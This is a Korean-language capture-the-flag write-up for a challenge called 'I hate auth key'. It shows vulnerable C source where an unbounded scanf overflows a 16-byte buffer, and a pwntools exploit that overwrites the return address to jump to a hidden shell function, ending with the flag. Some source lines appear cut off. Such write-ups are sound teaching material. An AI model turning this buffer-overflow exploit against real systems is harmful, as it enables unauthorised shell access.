I hate auth key

문제이름

I hate auth key

사용 된 취약점

return address overwrite

풀이 과정

전체 코드

```
// Compile: gcc -o i_hate_auth_key i_hate_auth_key.c -fno-sta

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>

char FLAG[0x20];

void alarm_handler(int signum) {
    printf("Time out!\n");
    exit(0);
}

void init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
}

void Shell() {
    char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};
    execve(cmd, args, NULL);
```

```
}

char *generate_random_key() {
    char *key = (char *)malloc(17 * sizeof(char));
    const char *charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWX

    for (int i = 0; i < 16; i++) {
        key[i] = charset[rand() % 62];
    }
    key[16] = '\0';

    return key;
}

int main() {
    char auth_key[0x10];

    init();
    signal(SIGALRM, alarm_handler);
    alarm(30);
    puts("Input :");

    scanf("%s", auth_key);

    if (strcmp(generate_random_key(), auth_key) == 0) {
        system("/bin/sh");
    }

    return 0;
}
```

해당문제의 풀이 조건은 총 2개가 있습니다.

랜덤 값을 알아내서 system("/bin/sh")을 실행시키거나

사용되지 않는 Shell함수를 이용하는 것 입니다.

코드 내부에는 scanf를 통한 버퍼 오버플로우 취약점이 존재하는데 이를 통해 반환 주소를 shell로 바꿔서 풀이가 가능합니다.

auth_key의 공간은 총 16바이트가 있고 64비트 파일이라 SFP의 공간이 8바이트만큼 존재합니다.

더미 값으로 들어가는 바이트는 16+8인 24바이트입니다.

이 정보를 토대로 풀이 코드를 작성하면 아래와 같습니다.

```
from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
p = process("i_hate_auth_key")
e = ELF("./i_hate_auth_key")
shell = e.symbols["Shell"]

payload = b'A'*16 + b'B'*8 + p64(shell)
p.sendlineafter(b"Input :",payload)

p.interactive()
```

FLAG : SOTI{1_L0v3_R3TuRn_4ddR355_0v3rWR1t3}